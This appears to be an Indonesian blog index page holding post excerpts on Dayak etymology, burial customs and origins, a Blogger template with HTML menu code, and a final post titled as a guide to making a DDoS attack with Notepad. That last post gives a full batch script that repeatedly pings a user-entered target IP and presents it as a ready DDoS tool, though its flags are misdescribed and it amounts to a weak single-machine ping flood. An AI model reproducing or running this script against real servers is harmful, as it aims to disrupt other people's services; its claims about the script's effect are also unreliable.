Sunday, June 18, 2017

Etimologi Suku Dayak






Etimologi Suku Dayak




Masyarakat Dayak Barito beragama Islam yang dikenali sebagai suku Bakumpai di sungai Barito tempo dulu.

Istilah "Dayak" paling umum digunakan untuk menyebut orang-orang asli non-Muslim, non-Melayu yang tinggal di pulau itu. Ini terutama berlaku di Malaysia, karena di Indonesia ada suku-suku Dayak yang Muslim namun tetap termasuk kategori Dayak walaupun beberapa di antaranya disebut dengan Suku Banjar dan Suku Kutai. Terdapat beragam penjelasan tentang etimologi istilah ini. Menurut Lindblad, kata Dayak berasal dari kata daya dari bahasa Kenyah, yang berarti hulu sungai atau pedalaman. King, lebih jauh menduga-duga bahwa Dayak mungkin juga berasal dari kata aja, sebuah kata dari bahasa Melayu yang berarti asli atau pribumi. Dia juga yakin bahwa kata itu mungkin berasal dari sebuah istilah dari bahasa Jawa Tengah yang berarti perilaku yang tak sesuai atau yang tak pada tempatnya.

Istilah untuk suku penduduk asli dekat Sambas dan Pontianak adalah Daya (Kanayatn: orang daya= orang darat), sedangkan di Banjarmasin disebut Biaju (bi= dari; aju= hulu). Jadi semula istilah orang Daya (orang darat) ditujukan untuk penduduk asli Kalimantan Barat yakni rumpun Bidayuh yang selanjutnya dinamakan Dayak Darat yang dibedakan dengan Dayak Laut (rumpun Iban). Di Banjarmasin, istilah Dayak mulai digunakan dalam perjanjian Sultan Banjar dengan Hindia Belanda tahun 1826, untuk menggantikan istilah Biaju Besar (daerah sungai Kahayan) dan Biaju Kecil (daerah sungai Kapuas Murung) yang masing-masing diganti menjadi Dayak Besar dan Dayak Kecil, selanjutnya oleh pihak kolonial Belanda hanya kedua daerah inilah yang kemudian secara administratif disebut Tanah Dayak. Sejak masa itulah istilah Dayak juga ditujukan untuk rumpun Ngaju-Ot Danum atau rumpun Barito. Selanjutnya istilah “Dayak” dipakai meluas yang secara kolektif merujuk kepada suku-suku penduduk asli setempat yang berbeda-beda bahasanya, khususnya non-Muslim atau non-Melayu. Pada akhir abad ke-19 (pasca Perdamaian Tumbang Anoi) istilah Dayak dipakai dalam konteks kependudukan penguasa kolonial yang mengambil alih kedaulatan suku-suku yang tinggal di daerah-daerah pedalaman Kalimantan. Menurut Departemen Pendidikan dan Kebudayaan Bagian Proyek Pengkajian dan Pembinaan Nilai-Nilai Budaya Kalimantan Timur, Dr. August Kaderland, seorang ilmuwan Belanda, adalah orang yang pertama kali mempergunakan istilah Dayak dalam pengertian di atas pada tahun 1895.

Arti dari kata ‘Dayak’ itu sendiri masih bisa diperdebatkan. Commans (1987), misalnya, menulis bahwa menurut sebagian pengarang, ‘Dayak’ berarti manusia, sementara pengarang lainnya menyatakan bahwa kata itu berarti pedalaman. Commans mengatakan bahwa arti yang paling tepat adalah orang yang tinggal di hulu sungai. Dengan nama serupa, Lahajir et al. melaporkan bahwa orang-orang Iban menggunakan istilah Dayak dengan arti manusia, sementara orang-orang Tunjung dan Benuaq mengartikannya sebagai hulu sungai. Mereka juga menyatakan bahwa sebagian orang mengklaim bahwa istilah Dayak menunjuk pada karakteristik personal tertentu yang diakui oleh orang-orang Kalimantan, yaitu kuat, gagah, berani dan ulet. Lahajir et al. mencatat bahwa setidaknya ada empat istilah untuk penuduk asli Kalimantan dalam literatur, yaitu Daya, Dyak, Daya, dan Dayak. Penduduk asli itu sendiri pada umumnya tidak mengenal istilah-istilah ini, akan tetapi orang-orang di luar lingkup merekalah yang menyebut mereka sebagai ‘Dayak’
Asal mula
Read more ...

Tradisi Penguburan Suku Dayak Yg Mukin ada harus Ketahui





Tradisi Penguburan Suka Daya

Peti kubur di Kutai. Foto tersebut merupakan foto kuburan Dayak Benuaq di Kutai. Peti yang dimaksud adalah Selokng (ditempatkan di Garai). Ini merupakan penguburan primer - tempat mayat melalui Upacara/Ritual Kenyauw. Sementara di sebelahnya (terlihat sepotong) merupakan Tempelaq yang merupakan tempat tulang si meninggal melalui Upacara/Ritual Kwangkay.

Tradisi penguburan dan upacara adat kematian pada suku bangsa Dayak diatur tegas dalam hukum adat. Sistem penguburan beragam sejalan dengan sejarah panjang kedatangan manusia di Kalimantan. Dalam sejarahnya terdapat tiga budaya penguburan di Kalimantan :
penguburan tanpa wadah dan tanpa bekal, dengan posisi kerangka dilipat.
penguburan di dalam peti batu (dolmen)
penguburan dengan wadah kayu, anyaman bambu, atau anyaman tikar. Ini merupakan sistem penguburan yang terakhir berkembang.

Menurut tradisi Dayak Benuaq baik tempat maupun bentuk penguburan dibedakan :
wadah (peti) mayat--> bukan peti mati : lungun, selokng dan kotak
wadah tulang-beluang : tempelaaq (bertiang 2) dan kererekng (bertiang 1) serta guci.

berdasarkan tempat peletakan wadah (kuburan) Suku Dayak Benuaq :
lubekng (tempat lungun)
garai (tempat lungun, selokng)
gur (lungun)
tempelaaq dan kererekng

Pada umumnya terdapat dua tahapan penguburan:
penguburan tahap pertama (primer)
penguburan tahap kedua (sekunder).
Penguburan primer[sunting | sunting sumber]
Parepm Api (Dayak Benuaq)
Kenyauw (Dayak Benuaq)
Penguburan sekunder

Penguburan sekunder tidak lagi dilakukan di gua. Di hulu Sungai Bahau dan cabang-cabangnya di Kecamatan Pujungan, Malinau, Kalimantan Timur, banyak dijumpai kuburan tempayan-dolmen yang merupakan peninggalan megalitik. Perkembangan terakhir, penguburan dengan menggunakan peti mati (lungun) yang ditempatkan di atas tiang atau dalam bangunan kecil dengan posisi ke arah matahari terbit.

Masyarakat Dayak Ngaju mengenal tiga cara penguburan, yakni :
dikubur dalam tanah
diletakkan di pohon besar
dikremasi dalam upacara tiwah.
Prosesi penguburan sekunder
Tiwah adalah prosesi penguburan sekunder pada penganut Kaharingan, sebagai simbol pelepasan arwah menuju lewu tatau (alam kelanggengan) yang dilaksanakan setahun atau beberapa tahun setelah penguburan pertama di dalam tanah.
Ijambe adalah prosesi penguburan sekunder pada Dayak Maanyan. Belulang dibakar menjadi abu dan ditempatkan dalam satu wadah.
Marabia
Mambatur (Dayak Maanyan)
Kwangkai[Wara (Dayak Benuaq)


Read more ...

Sejarah Asal Mula Suka Dayak



Asal Mulai Suka Dayak yg Belum ada Ke tahui

Secara umum kebanyakan penduduk kepulauan Nusantara adalah penutur bahasa Austronesia. Saat ini teori dominan adalah yang dikemukakan linguis seperti Peter Bellwood dan Blust, yaitu bahwa tempat asal bahasa Austronesia adalah Taiwan. Sekitar 4 000 tahun lalu, sekelompok orang Austronesia mulai bermigrasi ke Filipina. Kira-kira 500 tahun kemudian, ada kelompok yang mulai bermigrasi ke selatan menuju kepulauan Indonesia sekarang, dan ke timur menuju Pasifik.

Namun orang Austronesia ini bukan penghuni pertama pulau Borneo. Antara 60.000 dan 70.000 tahun lalu, waktu permukaan laut 120 atau 150 meter lebih rendah dari sekarang dan kepulauan Indonesia berupa daratan (para geolog menyebut daratan ini "Sunda"), manusia sempat bermigrasi dari benua Asia menuju ke selatan dan sempat mencapai benua Australia yang saat itu tidak terlalu jauh dari daratan Asia.

Dari pegunungan itulah berasal sungai-sungai besar seluruh Kalimantan. Diperkirakan, dalam rentang waktu yang lama, mereka harus menyebar menelusuri sungai-sungai hingga ke hilir dan kemudian mendiami pesisir pulau Kalimantan. Tetek Tahtum menceritakan migrasi suku Dayak Ngaju dari daerah perhuluan sungai-sungai menuju daerah hilir sungai-sungai.

Di daerah selatan Kalimantan Suku Dayak pernah membangun sebuah kerajaan. Dalam tradisi lisan Dayak di daerah itu sering disebut Nansarunai Usak Jawa, yakni kerajaan Nansarunai dari Dayak Maanyan yang dihancurkan oleh Majapahit, yang diperkirakan terjadi antara tahun 1309-1389. Kejadian tersebut mengakibatkan suku Dayak Maanyan terdesak dan terpencar, sebagian masuk daerah pedalaman ke wilayah suku Dayak Lawangan. Arus besar berikutnya terjadi pada saat pengaruh Islam yang berasal dari kerajaan Demak bersama masuknya para pedagang Melayu (sekitar tahun 1520).

Sebagian besar suku Dayak di wilayah selatan dan timur kalimantan yang memeluk Islam keluar dari suku Dayak dan tidak lagi mengakui dirinya sebagai orang Dayak, tapi menyebut dirinya sebagai atau orang Banjar dan Suku Kutai. Sedangkan orang Dayak yang menolak agama Islam kembali menyusuri sungai, masuk ke pedalaman, bermukim di daerah-daerah Kayu Tangi, Amuntai, Margasari, Batang Amandit, Batang Labuan Amas dan Batang Balangan. Sebagian lagi terus terdesak masuk rimba. Orang Dayak pemeluk Islam kebanyakan berada di Kalimantan Selatan dan sebagian Kotawaringin, salah seorang pimpinan Banjar Hindu yang terkenal adalah Lambung Mangkurat menurut orang Dayak adalah seorang Dayak (Ma’anyan atau Ot Danum). Di Kalimantan Timur, orang Suku Tonyoy-Benuaq yang memeluk Agama Islam menyebut dirinya sebagai Suku Kutai.[butuh rujukan] Tidak hanya dari Nusantara, bangsa-bangsa lain juga berdatangan ke Kalimantan. Bangsa Tionghoa tercatat mulai datang ke Kalimantan pada masa Dinasti Ming yang tercatat dalam buku 323 Sejarah Dinasti Ming (1368-1643). Dari manuskrip berhuruf hanzi disebutkan bahwa kota yang pertama dikunjungi adalah Banjarmasin dan disebutkan bahwa seorang Pangeran yang berdarah Biaju menjadi pengganti Sultan Hidayatullah I . Kunjungan tersebut pada masa Sultan Hidayatullah I dan penggantinya yaitu Sultan Mustain Billah. Hikayat Banjar memberitakan kunjungan tetapi tidak menetap oleh pedagang jung bangsa Tionghoa dan Eropa (disebut Walanda) di Kalimantan Selatan telah terjadi pada masa Kerajaan Banjar Hindu (abad XIV). Pedagang Tionghoa mulai menetap di kota Banjarmasin pada suatu tempat dekat pantai pada tahun 1736.

Kedatangan bangsa Tionghoa di selatan Kalimantan tidak mengakibatkan perpindahan penduduk Dayak dan tidak memiliki pengaruh langsung karena mereka hanya berdagang, terutama dengan kerajaan Banjar di Banjarmasin. Mereka tidak langsung berniaga dengan orang Dayak. Peninggalan bangsa Tionghoa masih disimpan oleh sebagian suku Dayak seperti piring malawen, belanga (guci) dan peralatan keramik. Tidak hanya itu, sebagian dari mereka juga ada bangsa Eropa.

Sejak awal abad V bangsa Tionghoa telah sampai di Kalimantan. Pada abad XV Kaisar Yongle mengirim sebuah angkatan perang besar ke selatan (termasuk Nusantara) di bawah pimpinan Cheng Ho, dan kembali ke Tiongkok pada tahun 1407, setelah sebelumnya singgah ke Jawa, Kalimantan, Malaka, Manila dan Solok. Pada tahun 1750, Sultan Mempawah menerima orang-orang Tionghoa (dari Brunei) yang sedang mencari emas. Orang-orang Tionghoa tersebut membawa juga barang dagangan di antaranya candu, sutera, barang pecah belah seperti piring, cangkir, mangkok dan guci.
Read more ...

Tuesday, June 13, 2017

Devil Survivor 2 Blogger Template

Template sederhana warna dasar htam-biru,posting 3 kolom dan 1 sidebar,layout template ini hampir sama dengan template yang baru saya buat sebelumnya "Kurumi tokisaki",bedanya template ini hanya menggunakan 1 sidebar dan ditambahkan fitur accordion/buka-tutup dan dengan style post yang sedikit berbeda~xD.


Screenshot





1. Pengaturan menu
Buka blogger,pilih menu template=> Edit HTML lalu cari kode html yang seperti dibawah ini.
setelah itu ganti tanda pagar '#' (tanpa tanda petik) dengan ulr/alamat link yang ingin dituju,dan ganti juga nama linknya.


Contoh:


<li><a href='http://www.facebook.com'>Facebook</a></li>





<ul class='dark_menu'>
<li><a class='selected' expr:href='data:blog.homepageUrl' title='Home'>Home</a></li>
<li data-role='dropdown'><a href='#'>About</a><ul>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
</ul></li><li data-role='dropdown'><a href='#'>Contact</a><ul>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
</ul></li>
<li data-role='dropdown'><a href='#'>Download</a><ul>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
</ul></li>
<li><a href='#'>Report</a></li>
<li><a href='#'>Anime</a></li>
</ul>



Jika kamu ingin menambahkan menunya,tambahkan kode html dibawah ini diantara/didalam kode html
<ul class='dark_menu'> ....</ul>

Single menu


<li class='jolor'><a href='#'>namalink</a></li>



Dropdown menu


<li class='jolor' data-role='dropdown'><a href='#'>link kamu</a><ul>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
<li><a href='#'>Lorem Ipsum</a></li>
</ul></li>



2. Setting SEO/Meta tag

setting manual oleh pengguna mengenai deskripsi dan keyword blog anda.
*ganti text yang berwarna merah


<meta content='deskripsi blog kamu' name='DESCRIPTION'/>
<meta content='keyword blog kamu' name='KEYWORDS'/>



Untuk pengertian setting seo/meta tag,anda bisa cari tahu di google atau disini dan disini




3. Setting Social media : facebook, Twitter, Rss,Pinterest.
*ganti url linknya


<a href='http://feeds.feedburner.com/alamat_feed_rss'><div class='rssjo'/></a>
<a href='http://twitter.com/username'><div class='twitterjo'/></a>
<a href='http://www.facebook.com/halaman_fan_page_facebook'><div class='facebookjo'/></a>
<a href='http://www.pinterest.com/id%20kamu'><div class='pinterestjo'/></a>



Tertarik dengan Template Devil Survivor 2 Blogger Template?
Silakan dicoba dan selalu ingat anda menggunakan template ini,selalu backup template lama anda agar tidak terjadi sesuatu yang tidak diinginkan.Terima kasih




DOWNLOAD VIA MEDIAFIRE


DEMO


*Bonus PSD File Header Devil Survivor 2~xD



DOWNLOAD


Semoga bermanfaat untuk semuanya ^^ ,tapi tetaplah ingat,selalu bijak menggunakan template gratis dan STOP aksi PLAGIAT ,karena itu perbuatan yang merugikan dan sungguh memalukan. Sankyuu minna-san~ :)
Read more ...

Monday, June 12, 2017

CARA MEMBUAT DDOS ATTACK DENGAN MENGGUNAKAN NOTEPAD












Cara Membuat :

1. Buka notepada sobat Start > All Programs > Accessories > Notepad.

2. Copy code/script berikut di bawah ini kedalam notepad anda.


@echo off
mode 87,30
title DDOS Atjeh17Team Attack
color 9
cls
echo.
echo yuk kita basmi server yang jahat !!!
echo.
set /p x=Website Target:
echo.
ping %x%
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next
:Next
echo.
echo.
echo.
set /p m=Masukkan IP Target:
echo.
set /p n=Packet Size:
echo.
:DDOS
color c
echo Lumpuhkan Server %m%
ping %m% -i %n% -t >nul
goto DDOS




3. Setelah dicopy silahkan anda simpan file DDoS tersebut File > Save.


4. Beri nama File Name anda tadi dengan akhiran .bat (misal DDoS.bat)


5. Text Document (*,txt) anda ganti dengan All File

6. Sekarang DDoS buatan anda sudah siap dijalankan.

Read more ...